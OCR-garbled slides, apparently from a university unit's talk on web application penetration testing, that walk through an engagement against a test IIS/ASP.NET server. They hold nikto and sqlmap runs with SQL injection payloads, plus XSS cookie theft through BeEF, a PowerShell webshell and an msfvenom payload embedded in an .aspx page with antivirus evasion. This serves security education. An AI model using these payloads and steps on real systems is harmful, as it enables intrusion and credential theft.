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«  Motivations

« Methodologies

. Internal vs. External

» Rules of Engagement
« Final Product
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An Operating Unit OF Mercer University

«  Security Focused Testing

o Access, Escalate, Pivot

« Model Threats and Categorize Risk
o Script kiddies to state actors
« Discoverability, Difficulty, Exploitability, Detectability
« Layers, Chains and Narratives
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Operating Unit OF Mercer University

« Application is the focus

s Network & Servers are for post-exploit
« Human element is modeled
« Test server / development network
« Replicated data
« Extra oO0targetso
« NCheatingo



Guidelines and Checklists
s NIST 800-15/ NIST 800-64r2
s Open Web Application Security Project

Outside to Inside
. Black Box A Grey Box A White Box

Recon!
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Download / Upload
CMD prompt / Shell
Hashes A Passwords

Privilege escalation
« Non-User A User A Local Admin A Domain Admin

Persistence
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An Operating Unit OF Mercer University

« Kall Linux
. BeEF-xss, sglmap, dirbuster, metasploit

« BURP, Wireshark, Fiddler
« Browser Dev Tools

« Decompilers & Code Editors
« Database Client
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« Nmap scan host

« Fingerprint OS if possible
. View HTTP headers

:  ASP.net version info
«  View site as user

« Follow all hyperlinks
« Note all forms, inputs
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» OWASP Zap
« Burp Spider
U Open-VAS Cache-control and Pragma HTTP Header
«  W3af | Autocomplete i Browser (2)

Browser XSS Protection Not Enabled {1

X-Content-Type-Options Header Missing (24)
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An Operating Unit OF Mercer University

merc@kali:/$ nikto -host http://192.168.0.201

- Nikto v2.1.6

+ Target IP: 192.168.0.201

+ Target Hostname: 192.168.0.201

+ Target Port: 80

+ Start Time: 2017-10-05 15:03:41 (GMT-4)

+ Server: Microsoft-IIS/7.5

+ Retrieved x-aspnet-version header: 4.0.30319

+ Retrieved x-powered-by header: ASP.NET

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of
XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in
a different fashion to the MIME type

+ Root page / redirects to: /Applications/Login.aspx

+ Cookie ASPSESSIONIDSADCQRBB created without the httponly flag

+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST

+ 8346 requests: 0 error(s) and 8 item(s) reported on remote host

+ End Time: 2017-10-05 15:04:39 (GMT-4) (58 seconds)

[+ 1 host(s) tested

Emerc@kali:/$
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Feedback on incorrect username/passwords
Forgot Password funct

s Account does not exist
a Your password has been emailed to

Patterns + Open Source Intel = usernames
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mailto:xxxxxx@email.com

Every input is an opportunity
Even nhiddeno ones

URL parameters are easy targets

P OS T/Hdlden Fields just need a proxy
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Custom error pages are great!

s Controlling what info is exposed is best practice

URL parameters - error source&message - were not filtered
a  <script>tags equals reflected XSS

o  Send links to unsuspecting users

BeEF xss tool

« Cookie stealing

s Keylogging
a  Modification of website on client



Current Browser

Commands

Module Tree Module Results History Get Cookie

K daie Description: is module will retriev ession cookie from the current page

Get Page and iframe HTML

Re: tuck fframe
Replace HREFs
Replace HREFs (Click Events)
Replace HREFs (HTTPS)
HREFs (TEL)
Fingerprint Ajax
Overflow Cookie Jar
Create Alert Dialog
Create Prompt D
Redirect Bro
Redirect Browser (Rickrol
Redirect Browser (iFrame)
Ompx
Replace Content (Deface)
Replace Videos
@ Disable Developer Tools

@ Get Local Storage
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« Application T Database Interaction
« Input added directly to SQL queries
s EXpose data piece by piece

Exception -1 union all select null,banner,'3333',null,'5555',null,null,null from v§version Details

Message: Oracle Database 12¢ Standard Edition Release 12.1.0.2.0 - 64bit Production

Date:

Source:
Stack Trace:
Target Site:

More Info:
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merc@kali:~$ sqlmap -u https://192.168.0.201//Applications/SiteAdmin/ExceptionViewer.aspx?id=-1 --cookie="A

SP.NET SessionId=elfcfnzeul@@25amdaosntje" --level=5 --risk=3 -p id

—
()] {1.1.9#stable}
|- -] - [§] [
- ]
-'Eﬂ; |V |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is

the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no li
‘ability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:35:53

[14:35:54] [WARNING] it appears that you have provided tainted parameter values ('id=-1') with most likely

leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values
so sqlmap could be able to run properly
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An Operating Unit OF Mercer University

{14:3/7:42)] [INFD] TEsSTtlng 'beneric UNILUN query (NULL) 1 TO ZU coLwumns’
[14:37:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (pote
tial) technique found
[14:37:43] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of que
ry columns. Automatically extending the range for current UNION query injection technique test
[14:37:44) [INFO] target URL appears to have 8 columns 1in query
[14:37:48] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 36 HTTP(s) requests:
Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=30000 AND 5095=5095

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

Payload: id=-8642 UNION ALL SELECT NULL,NULL,NULL,NULL,CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(72)||CHR(112) |
|CHR(109) | |CHR(65) | | CHR(108) | |CHR(78) | |CHR(9@) | | CHR(106) | |CHR(76) | | CHR(65) | |CHR(111) | |CHR(100) | | CHR(65) | |CHR(109) | |CHR(108) | |CH
R(100) | |CHR(75) | |CHR(107) | |CHR(162) | |CHR(110) | |CHR(74) | |CHR(79) | |CHR(109) | |CHR(72) | |CHR(78) | |CHR(83) | |CHR(119) | | CHR(107) | | CHR(6
5)||CHR(68) | |CHR(106) | |CHR(72) | |CHR(111) | |CHR(97) | |CHR(87) | |CHR(65) | |CHR(77) | |CHR(71) | |CHR(86) | |CHR(72) | |CHR(113) | |CHR(122) | |CH
R(107) | |[CHR(113) | |CHR(113) ,NULL,NULL,NULL FROM DUAL-- HqCD
[14:37:59] [INFO] testing Oracle
[14:37:59] [INFO] confirming Oracle
[14:37:59] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Oracle
[14:37:59] [INFO] fetched data logged to text files under '/home/merc/.sqlmap/output/192,168.0.201'

[*] shutting down at 14:37:59



An Operating Unit OF Mercer University

Application Form allows uploads

«  Pictures, text, video, zip files allowed
Controlled by ~/Admin/FileTypes.aspx
Add whatever extensions you want!

Match the web appl I c atexeoutiod s
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« Undefined permissions

« Affected <10% of pages

s Usually pages outside user role, no gain of access
Lack of permission check

c:

o Affected <2% of pages
But pages arenot directly visib

Dirbuster + Wordlists = No Hiding

c:

c:
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An Operating Unit OF Mercer University

« ExceptionViewer was accessible by 4 of 4 user roles
«  SQL Injection, for all!

.  ~/Admin/FileTypes.aspx lacked a permission check
«  Only one user role could change the file extensions
. Allowed extensions applied to EVERYONE
« Malware uploads, for all!
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WNelcome to Antak - A Webshell which utilizes PowersShell
Use help for more details.

Use clear Lo clear the screen.

PS> dir

Pros

Directory: C:\windows\system32\inetsry

- Shates e «  Minimal Setup

d---- 3/30/2015  1:52 MM config

d---- 9/16/2015 3:12 PN en-US

- 6/1/2012  1:33 MM 193536 appomd . oxe

-8--- 6/10/2005 4:13 PM 3654 appond .l

8-~ 7/13/2009  9:40 PN 189952 AppHostHavigators.dll ( D I d / U pl d f t

§n-- 11/20/2018 10:24 P 65536 apphostsve.dil u Own Oa Oa ea u reS
~8--- 6/1/2012 1:35 AW 383488 appobj.dll

- 11/20/2010 10:24 PN 534016 asp.dll

~f)-~= 771372005 A:50 PN 22196 asp.mof -

-8--- 6/1/2012 1:33 M 229376 aspnetca.exe o S L C I I “ I l d E t

e 7/13/2005  8:26 P 22528 asptlb.tlh u Q O an Xecu IO n
-8--- 11/20/2010 10:24 PN 43008 authanon.dll

e 11/20/2010  10:24 PN 39424 authbas.dll

-8--- 771372005 9:40 PN 43008 authmdS_d11

e 11/20/2018 19:24 PN 52736 authsspk.dll CO ns

X R T/13/2009  9:40 PH 64000 browscap.dil

-8--- 3/30/2015 2:01 PN 33404 browscap.ini

e 11/20/2010 10:24 PN 25088 cachfile.dl]

~8--- 771372005 9:40 PN 55296 cachhttp.dil .

-8--- 7/13/2009 9:48 PN 12288 cachtokn.dll

T v YRR i o « Forced to use full file paths
-8--- 7/13/2009 9:48 PN 44544 cgi.dll .

e 11/20/2010 10:24 PN 57344 compstat.dll

N.rltl\it.x.chvuiwn‘ | 7‘ ‘  =1 wrikad u POWGrShe”é
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« Met aspl oi t dil-inectaepayboadk 0 s
« Create custom payload with msfvenom

« Can embed in .aspx file
s« Can encode for anti-virus evasion

« Start a listener in msfconsole
« Load web page -> execute malware
«  Server initiates TCP/http/https connection

« Linux-like shell + lots of support scripts
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.  Web.config

s DB users + encrypted passwords
« Assembly References
« License Keys

« Data Exfiltration
. .dlls/ .pdb files A Source code
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s De-compile .dll + .pdb files
o Look for useful classes / functions

«  Login/ User Admin / Database
s  Business Logic

i  Remember early flaws

«  Encrypted Passwords?

« Password emailed?

« Encryption.Decrygt 0 dza SR Ay SYIF At € 2af
s Simple user account password decryption script






